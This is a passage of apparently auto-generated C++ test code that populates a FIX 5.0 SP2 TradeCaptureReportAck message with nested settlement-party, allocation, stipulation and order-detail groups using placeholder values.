set_field(noSettlPartySubIDs_1_2_1_3_0, FIX::SettlPartySubID{\"STRING_1457832602\"}, SettlPtysSubGrp_NoSettlPartySubIDs_127);\n          set_field(noSettlPartySubIDs_1_2_1_3_0, FIX::SettlPartySubIDType{751009577}, SettlPtysSubGrp_NoSettlPartySubIDs_127);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_127);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_2_2_1.addGroup(noSettlPartySubIDs_1_2_1_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_2_1_3_1;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_128;\n          set_field(noSettlPartySubIDs_1_2_1_3_1, FIX::SettlPartySubID{\"STRING_705650304\"}, SettlPtysSubGrp_NoSettlPartySubIDs_128);\n          set_field(noSettlPartySubIDs_1_2_1_3_1, FIX::SettlPartySubIDType{1473739150}, SettlPtysSubGrp_NoSettlPartySubIDs_128);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_128);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_2_2_1.addGroup(noSettlPartySubIDs_1_2_1_3_1);\n        }\n        noSettlDetails_1_1_2.addGroup(noSettlPartyIDs_1_2_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs noSettlPartyIDs_1_2_2_2;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_64;\n        set_field(noSettlPartyIDs_1_2_2_2, FIX::SettlPartyID{\"STRING_208783293\"}, SettlParties_NoSettlPartyIDs_64);\n        set_field(noSettlPartyIDs_1_2_2_2, FIX::SettlPartyIDSource{'9'}, SettlParties_NoSettlPartyIDs_64);\n        set_field(noSettlPartyIDs_1_2_2_2, FIX::SettlPartyRole{1668762876}, SettlParties_NoSettlPartyIDs_64);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_64);\n        all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_2_2_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_129;\n          set_field(noSettlPartySubIDs_1_2_2_3_0, FIX::SettlPartySubID{\"STRING_1638456505\"}, SettlPtysSubGrp_NoSettlPartySubIDs_129);\n          set_field(noSettlPartySubIDs_1_2_2_3_0, FIX::SettlPartySubIDType{1388741974}, SettlPtysSubGrp_NoSettlPartySubIDs_129);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_129);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_2_2_2.addGroup(noSettlPartySubIDs_1_2_2_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_2_2_3_1;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_130;\n          set_field(noSettlPartySubIDs_1_2_2_3_1, FIX::SettlPartySubID{\"STRING_2052795824\"}, SettlPtysSubGrp_NoSettlPartySubIDs_130);\n          set_field(noSettlPartySubIDs_1_2_2_3_1, FIX::SettlPartySubIDType{1772362416}, SettlPtysSubGrp_NoSettlPartySubIDs_130);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_130);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_2_2_2.addGroup(noSettlPartySubIDs_1_2_2_3_1);\n        }\n        noSettlDetails_1_1_2.addGroup(noSettlPartyIDs_1_2_2_2);\n      }\n      noSides_0_1.addGroup(noSettlDetails_1_1_2);\n    }\n    // SideTrdRegTS\n    // Group SideTrdRegTS.NoSideTrdRegTS\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoSideTrdRegTS noSideTrdRegTS_1_1_0;\n      // SideTrdRegTS.NoSideTrdRegTS\n      multiset<string> SideTrdRegTS_NoSideTrdRegTS_5;\n      set_field(noSideTrdRegTS_1_1_0, FIX::SideTrdRegTimestamp{FIX::UTCTIMESTAMP(19, 29, 36, 16, 2, 2014)}, SideTrdRegTS_NoSideTrdRegTS_5);\n      set_field(noSideTrdRegTS_1_1_0, FIX::SideTrdRegTimestampSrc{\"STRING_281165516\"}, SideTrdRegTS_NoSideTrdRegTS_5);\n      set_field(noSideTrdRegTS_1_1_0, FIX::SideTrdRegTimestampType{1645217110}, SideTrdRegTS_NoSideTrdRegTS_5);\n      all_values.push_back(SideTrdRegTS_NoSideTrdRegTS_5);\n      all_compo_names.insert(\"...NoSides...NoSideTrdRegTS\");\n\n      noSides_0_1.addGroup(noSideTrdRegTS_1_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoSideTrdRegTS noSideTrdRegTS_1_1_1;\n      // SideTrdRegTS.NoSideTrdRegTS\n      multiset<string> SideTrdRegTS_NoSideTrdRegTS_6;\n      set_field(noSideTrdRegTS_1_1_1, FIX::SideTrdRegTimestamp{FIX::UTCTIMESTAMP(1, 52, 26, 20, 2, 2017)}, SideTrdRegTS_NoSideTrdRegTS_6);\n      set_field(noSideTrdRegTS_1_1_1, FIX::SideTrdRegTimestampSrc{\"STRING_1792048050\"}, SideTrdRegTS_NoSideTrdRegTS_6);\n      set_field(noSideTrdRegTS_1_1_1, FIX::SideTrdRegTimestampType{1998982481}, SideTrdRegTS_NoSideTrdRegTS_6);\n      all_values.push_back(SideTrdRegTS_NoSideTrdRegTS_6);\n      all_compo_names.insert(\"...NoSides...NoSideTrdRegTS\");\n\n      noSides_0_1.addGroup(noSideTrdRegTS_1_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoSideTrdRegTS noSideTrdRegTS_1_1_2;\n      // SideTrdRegTS.NoSideTrdRegTS\n      multiset<string> SideTrdRegTS_NoSideTrdRegTS_7;\n      set_field(noSideTrdRegTS_1_1_2, FIX::SideTrdRegTimestamp{FIX::UTCTIMESTAMP(4, 57, 1, 9, 9, 2013)}, SideTrdRegTS_NoSideTrdRegTS_7);\n      set_field(noSideTrdRegTS_1_1_2, FIX::SideTrdRegTimestampSrc{\"STRING_1821874388\"}, SideTrdRegTS_NoSideTrdRegTS_7);\n      set_field(noSideTrdRegTS_1_1_2, FIX::SideTrdRegTimestampType{57697321}, SideTrdRegTS_NoSideTrdRegTS_7);\n      all_values.push_back(SideTrdRegTS_NoSideTrdRegTS_7);\n      all_compo_names.insert(\"...NoSides...NoSideTrdRegTS\");\n\n      noSides_0_1.addGroup(noSideTrdRegTS_1_1_2);\n    }\n    // Stipulations\n    // Group Stipulations.NoStipulations\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoStipulations noStipulations_1_1_0;\n      // Stipulations.NoStipulations\n      multiset<string> Stipulations_NoStipulations_73;\n      set_field(noStipulations_1_1_0, FIX::StipulationType{\"STRING_COUPON\"}, Stipulations_NoStipulations_73);\n      set_field(noStipulations_1_1_0, FIX::StipulationValue{\"STRING_1830059738\"}, Stipulations_NoStipulations_73);\n      all_values.push_back(Stipulations_NoStipulations_73);\n      all_compo_names.insert(\"...NoSides...NoStipulations\");\n\n      noSides_0_1.addGroup(noStipulations_1_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoStipulations noStipulations_1_1_1;\n      // Stipulations.NoStipulations\n      multiset<string> Stipulations_NoStipulations_74;\n      set_field(noStipulations_1_1_1, FIX::StipulationType{\"STRING_PROTECT\"}, Stipulations_NoStipulations_74);\n      set_field(noStipulations_1_1_1, FIX::StipulationValue{\"STRING_1428017563\"}, Stipulations_NoStipulations_74);\n      all_values.push_back(Stipulations_NoStipulations_74);\n      all_compo_names.insert(\"...NoSides...NoStipulations\");\n\n      noSides_0_1.addGroup(noStipulations_1_1_1);\n    }\n    // TradeReportOrderDetail\n    multiset<string> TradeReportOrderDetail_3;\n    set_field(noSides_0_1, FIX::BookingType{1}, TradeReportOrderDetail_3);\n    set_field(noSides_0_1, FIX::ClOrdID{\"STRING_652706452\"}, TradeReportOrderDetail_3);\n    FIX::CumQty CumQty_6;\n    CumQty_6.setString(\"1518465\");\nset_field(noSides_0_1, CumQty_6, TradeReportOrderDetail_3);\n    set_field(noSides_0_1, FIX::ExecInst{\"MULTIPLECHARVALUE_r\"}, TradeReportOrderDetail_3);\n    set_field(noSides_0_1, FIX::ExpireTime{FIX::UTCTIMESTAMP(8, 34, 55, 11, 12, 2015)}, TradeReportOrderDetail_3);\n    FIX::LeavesQty LeavesQty_5;\n    LeavesQty_5.setString(\"8845887\");\nset_field(noSides_0_1, LeavesQty_5, TradeReportOrderDetail_3);\n    set_field(noSides_0_1, FIX::ListID{\"STRING_1678362651\"}, TradeReportOrderDetail_3);\n    set_field(noSides_0_1, FIX::LotType{'2'}, TradeReportOrderDetail_3);\n    set_field(noSides_0_1, FIX::OrdStatus{'C'}, TradeReportOrderDetail_3);\n    set_field(noSides_0_1, FIX::OrdType{'F'}, TradeReportOrderDetail_3);\n    set_field(noSides_0_1, FIX::OrderCapacity{'I'}, TradeReportOrderDetail_3);\n    set_field(noSides_0_1, FIX::OrderID{\"STRING_1038871466\"}, TradeReportOrderDetail_3);\n    set_field(noSides_0_1, FIX::OrderInputDevice{\"STRING_1718501034\"}, TradeReportOrderDetail_3);\n    set_field(noSides_0_1, FIX::OrderRestrictions{\"MULTIPLECHARVALUE_5\"}, TradeReportOrderDetail_3);\n    set_field(noSides_0_1, FIX::OrigCustOrderCapacity{4}, TradeReportOrderDetail_3);\n    set_field(noSides_0_1, FIX::OrigOrdModTime{FIX::UTCTIMESTAMP(12, 57, 8, 9, 2, 2008)}, TradeReportOrderDetail_3);\n    FIX::Price Price_28;\n    Price_28.setString(\"5840362\");\nset_field(noSides_0_1, Price_28, TradeReportOrderDetail_3);\n    set_field(noSides_0_1, FIX::RefOrdIDReason{0}, TradeReportOrderDetail_3);\n    set_field(noSides_0_1, FIX::RefOrderID{\"STRING_857485880\"}, TradeReportOrderDetail_3);\n    set_field(noSides_0_1, FIX::RefOrderIDSource{'3'}, TradeReportOrderDetail_3);\n    set_field(noSides_0_1, FIX::SecondaryClOrdID{\"STRING_1322998396\"}, TradeReportOrderDetail_3);\n    set_field(noSides_0_1, FIX::SecondaryOrderID{\"STRING_1009332452\"}, TradeReportOrderDetail_3);\n    FIX::StopPx StopPx_12;\n    StopPx_12.setString(\"18750112\");\nset_field(noSides_0_1, StopPx_12, TradeReportOrderDetail_3);\n    set_field(noSides_0_1, FIX::TimeInForce{'1'}, TradeReportOrderDetail_3);\n    set_field(noSides_0_1, FIX::TransBkdTime{FIX::UTCTIMESTAMP(12, 48, 32, 27, 8, 2006)}, TradeReportOrderDetail_3);\n    all_values.push_back(TradeReportOrderDetail_3);\n    all_compo_names.insert(\"...NoSides.\");\n\n    // DisplayInstruction\n    multiset<string> DisplayInstruction_12;\n    FIX::DisplayHighQty DisplayHighQty_12;\n    DisplayHighQty_12.setString(\"13566205\");\nset_field(noSides_0_1, DisplayHighQty_12, DisplayInstruction_12);\n    FIX::DisplayLowQty DisplayLowQty_12;\n    DisplayLowQty_12.setString(\"15394468\");\nset_field(noSides_0_1, DisplayLowQty_12, DisplayInstruction_12);\n    set_field(noSides_0_1, FIX::DisplayMethod{'2'}, DisplayInstruction_12);\n    FIX::DisplayMinIncr DisplayMinIncr_12;\n    DisplayMinIncr_12.setString(\"5320639\");\nset_field(noSides_0_1, DisplayMinIncr_12, DisplayInstruction_12);\n    FIX::DisplayQty DisplayQty_12;\n    DisplayQty_12.setString(\"12593360\");\nset_field(noSides_0_1, DisplayQty_12, DisplayInstruction_12);\n    set_field(noSides_0_1, FIX::DisplayWhen{'2'}, DisplayInstruction_12);\n    FIX::RefreshQty RefreshQty_12;\n    RefreshQty_12.setString(\"1030813\");\nset_field(noSides_0_1, RefreshQty_12, DisplayInstruction_12);\n    FIX::SecondaryDisplayQty SecondaryDisplayQty_12;\n    SecondaryDisplayQty_12.setString(\"15363744\");\nset_field(noSides_0_1, SecondaryDisplayQty_12, DisplayInstruction_12);\n    all_values.push_back(DisplayInstruction_12);\n    all_compo_names.insert(\"...NoSides..\");\n\n    // OrderQtyData\n    multiset<string> OrderQtyData_30;\n    FIX::CashOrderQty CashOrderQty_30;\n    CashOrderQty_30.setString(\"8734252\");\nset_field(noSides_0_1, CashOrderQty_30, OrderQtyData_30);\n    FIX::OrderPercent OrderPercent_30;\n    OrderPercent_30.setString(\"59.660000\");\nset_field(noSides_0_1, OrderPercent_30, OrderQtyData_30);\n    FIX::OrderQty OrderQty_39;\n    OrderQty_39.setString(\"2326535\");\nset_field(noSides_0_1, OrderQty_39, OrderQtyData_30);\n    set_field(noSides_0_1, FIX::RoundingDirection{'0'}, OrderQtyData_30);\n    FIX::RoundingModulus RoundingModulus_30;\n    RoundingModulus_30.setString(\"1282213\");\nset_field(noSides_0_1, RoundingModulus_30, OrderQtyData_30);\n    all_values.push_back(OrderQtyData_30);\n    all_compo_names.insert(\"...NoSides..\");\n\n    // TrdAllocGrp\n    // Group TrdAllocGrp.NoAllocs\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs noAllocs_1_1_0;\n      // TrdAllocGrp.NoAllocs\n      multiset<string> TrdAllocGrp_NoAllocs_6;\n      set_field(noAllocs_1_1_0, FIX::AllocAccount{\"STRING_1417829876\"}, TrdAllocGrp_NoAllocs_6);\n      set_field(noAllocs_1_1_0, FIX::AllocAcctIDSource{1705173331}, TrdAllocGrp_NoAllocs_6);\n      set_field(noAllocs_1_1_0, FIX::AllocClearingFeeIndicator{\"STRING_1718149972\"}, TrdAllocGrp_NoAllocs_6);\n      set_field(noAllocs_1_1_0, FIX::AllocCustomerCapacity{\"STRING_2088121820\"}, TrdAllocGrp_NoAllocs_6);\n      set_field(noAllocs_1_1_0, FIX::AllocMethod{2}, TrdAllocGrp_NoAllocs_6);\n      FIX::AllocQty AllocQty_50;\n      AllocQty_50.setString(\"13513226\");\nset_field(noAllocs_1_1_0, AllocQty_50, TrdAllocGrp_NoAllocs_6);\n      set_field(noAllocs_1_1_0, FIX::AllocSettlCurrency{\"CHF\"}, TrdAllocGrp_NoAllocs_6);\n      set_field(noAllocs_1_1_0, FIX::IndividualAllocID{\"STRING_1078850299\"}, TrdAllocGrp_NoAllocs_6);\n      set_field(noAllocs_1_1_0, FIX::SecondaryIndividualAllocID{\"STRING_936045201\"}, TrdAllocGrp_NoAllocs_6);\n      all_values.push_back(TrdAllocGrp_NoAllocs_6);\n      all_compo_names.insert(\"...NoSides...NoAllocs\");\n\n      // NestedParties2\n      // Group NestedParties2.NoNested2PartyIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_1_0_2_0;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_56;\n        set_field(noNested2PartyIDs_1_0_2_0, FIX::Nested2PartyID{\"STRING_1181898416\"}, NestedParties2_NoNested2PartyIDs_56);\n        set_field(noNested2PartyIDs_1_0_2_0, FIX::Nested2PartyIDSource{'6'}, NestedParties2_NoNested2PartyIDs_56);\n        set_field(noNested2PartyIDs_1_0_2_0, FIX::Nested2PartyRole{156972659}, NestedParties2_NoNested2PartyIDs_56);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_56);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_0_0_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_107;\n          set_field(noNested2PartySubIDs_1_0_0_3_0, FIX::Nested2PartySubID{\"STRING_126653953\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_107);\n          set_field(noNested2PartySubIDs_1_0_0_3_0, FIX::Nested2PartySubIDType{735011633}, NstdPtys2SubGrp_NoNested2PartySubIDs_107);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_107);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_1_0_2_0.addGroup(noNested2PartySubIDs_1_0_0_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_0_0_3_1;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_108;\n          set_field(noNested2PartySubIDs_1_0_0_3_1, FIX::Nested2PartySubID{\"STRING_69293146\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_108);\n          set_field(noNested2PartySubIDs_1_0_0_3_1, FIX::Nested2PartySubIDType{1666100765}, NstdPtys2SubGrp_NoNested2PartySubIDs_108);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_108);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_1_0_2_0.addGroup(noNested2PartySubIDs_1_0_0_3_1);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_0_0_3_2;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_109;\n          set_field(noNested2PartySubIDs_1_0_0_3_2, FIX::Nested2PartySubID{\"STRING_1545864434\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_109);\n          set_field(noNested2PartySubIDs_1_0_0_3_2, FIX::Nested2PartySubIDType{601357067}, NstdPtys2SubGrp_NoNested2PartySubIDs_109);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_109);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_1_0_2_0.addGroup(noNested2PartySubIDs_1_0_0_3_2);\n        }\n        noAllocs_1_1_0.addGroup(noNested2PartyIDs_1_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_1_0_2_1;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_57;\n        set_field(noNested2PartyIDs_1_0_2_1, FIX::Nested2PartyID{\"STRING_777953156\"}, NestedParties2_NoNested2PartyIDs_57);\n        set_field(noNested2PartyIDs_1_0_2_1, FIX::Nested2PartyIDSource{'1'}, NestedParties2_NoNested2PartyIDs_57);\n        set_field(noNested2PartyIDs_1_0_2_1, FIX::Nested2PartyRole{704438374}, NestedParties2_NoNested2PartyIDs_57);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_57);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_0_1_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_110;\n          set_field(noNested2PartySubIDs_1_0_1_3_0, FIX::Nested2PartySubID{\"STRING_2121530280\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_110);\n          set_field(noNested2PartySubIDs_1_0_1_3_0, FIX::Nested2PartySubIDType{982894341}, NstdPtys2SubGrp_NoNested2PartySubIDs_110);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_110);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_1_0_2_1.addGroup(noNested2PartySubIDs_1_0_1_3_0);\n        }\n        noAllocs_1_1_0.addGroup(noNested2PartyIDs_1_0_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_1_0_2_2;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_58;\n        set_field(noNested2PartyIDs_1_0_2_2, FIX::Nested2PartyID{\"STRING_399497494\"}, NestedParties2_NoNested2PartyIDs_58);\n        set_field(noNested2PartyIDs_1_0_2_2, FIX::Nested2PartyIDSource{'1'}, NestedParties2_NoNested2PartyIDs_58);\n        set_field(noNested2PartyIDs_1_0_2_2, FIX::Nested2PartyRole{1111115707}, NestedParties2_NoNested2PartyIDs_58);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_58);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_0_2_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_111;\n          set_field(noNested2PartySubIDs_1_0_2_3_0, FIX::Nested2PartySubID{\"STRING_942595064\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_111);\n          set_field(noNested2PartySubIDs_1_0_2_3_0, FIX::Nested2PartySubIDType{668805390}, NstdPtys2SubGrp_NoNested2PartySubIDs_111);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_111);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_1_0_2_2.addGroup(noNested2PartySubIDs_1_0_2_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_0_2_3_1;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_112;\n          set_field(noNested2PartySubIDs_1_0_2_3_1, FIX::Nested2PartySubID{\"STRING_1104277551\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_112);\n          set_field(noNested2PartySubIDs_1_0_2_3_1, FIX::Nested2PartySubIDType{883233236}, NstdPtys2SubGrp_NoNested2PartySubIDs_112);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_112);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_1_0_2_2.addGroup(noNested2PartySubIDs_1_0_2_3_1);\n        }\n        noAllocs_1_1_0.addGroup(noNested2PartyIDs_1_0_2_2);\n      }\n      noSides_0_1.addGroup(noAllocs_1_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs noAllocs_1_1_1;\n      // TrdAllocGrp.NoAllocs\n      multiset<string> TrdAllocGrp_NoAllocs_7;\n      set_field(noAllocs_1_1_1, FIX::AllocAccount{\"STRING_1083980953\"}, TrdAllocGrp_NoAllocs_7);\n      set_field(noAllocs_1_1_1, FIX::AllocAcctIDSource{308116560}, TrdAllocGrp_NoAllocs_7);\n      set_field(noAllocs_1_1_1, FIX::AllocClearingFeeIndicator{\"STRING_2146869805\"}, TrdAllocGrp_NoAllocs_7);\n      set_field(noAllocs_1_1_1, FIX::AllocCustomerCapacity{\"STRING_361005320\"}, TrdAllocGrp_NoAllocs_7);\n      set_field(noAllocs_1_1_1, FIX::AllocMethod{2}, TrdAllocGrp_NoAllocs_7);\n      FIX::AllocQty AllocQty_51;\n      AllocQty_51.setString(\"9354313\");\nset_field(noAllocs_1_1_1, AllocQty_51, TrdAllocGrp_NoAllocs_7);\n      set_field(noAllocs_1_1_1, FIX::AllocSettlCurrency{\"EUR\"}, TrdAllocGrp_NoAllocs_7);\n      set_field(noAllocs_1_1_1, FIX::IndividualAllocID{\"STRING_1538512540\"}, TrdAllocGrp_NoAllocs_7);\n      set_field(noAllocs_1_1_1, FIX::SecondaryIndividualAllocID{\"STRING_981500455\"}, TrdAllocGrp_NoAllocs_7);\n      all_values.push_back(TrdAllocGrp_NoAllocs_7);\n      all_compo_names.insert(\"...NoSides...NoAllocs\");\n\n      // NestedParties2\n      // Group NestedParties2.NoNested2PartyIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_1_1_2_0;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_59;\n        set_field(noNested2PartyIDs_1_1_2_0, FIX::Nested2PartyID{\"STRING_1665166493\"}, NestedParties2_NoNested2PartyIDs_59);\n        set_field(noNested2PartyIDs_1_1_2_0, FIX::Nested2PartyIDSource{'1'}, NestedParties2_NoNested2PartyIDs_59);\n        set_field(noNested2PartyIDs_1_1_2_0, FIX::Nested2PartyRole{1350831053}, NestedParties2_NoNested2PartyIDs_59);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_59);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_1_0_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_113;\n          set_field(noNested2PartySubIDs_1_1_0_3_0, FIX::Nested2PartySubID{\"STRING_1114892875\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_113);\n          set_field(noNested2PartySubIDs_1_1_0_3_0, FIX::Nested2PartySubIDType{1952188121}, NstdPtys2SubGrp_NoNested2PartySubIDs_113);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_113);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_1_1_2_0.addGroup(noNested2PartySubIDs_1_1_0_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_1_0_3_1;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_114;\n          set_field(noNested2PartySubIDs_1_1_0_3_1, FIX::Nested2PartySubID{\"STRING_1961736767\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_114);\n          set_field(noNested2PartySubIDs_1_1_0_3_1, FIX::Nested2PartySubIDType{215514281}, NstdPtys2SubGrp_NoNested2PartySubIDs_114);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_114);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_1_1_2_0.addGroup(noNested2PartySubIDs_1_1_0_3_1);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_1_0_3_2;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_115;\n          set_field(noNested2PartySubIDs_1_1_0_3_2, FIX::Nested2PartySubID{\"STRING_509142847\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_115);\n          set_field(noNested2PartySubIDs_1_1_0_3_2, FIX::Nested2PartySubIDType{2128580678}, NstdPtys2SubGrp_NoNested2PartySubIDs_115);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_115);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_1_1_2_0.addGroup(noNested2PartySubIDs_1_1_0_3_2);\n        }\n        noAllocs_1_1_1.addGroup(noNested2PartyIDs_1_1_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_1_1_2_1;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_60;\n        set_field(noNested2PartyIDs_1_1_2_1, FIX::Nested2PartyID{\"STRING_189560913\"}, NestedParties2_NoNested2PartyIDs_60);\n        set_field(noNested2PartyIDs_1_1_2_1, FIX::Nested2PartyIDSource{'1'}, 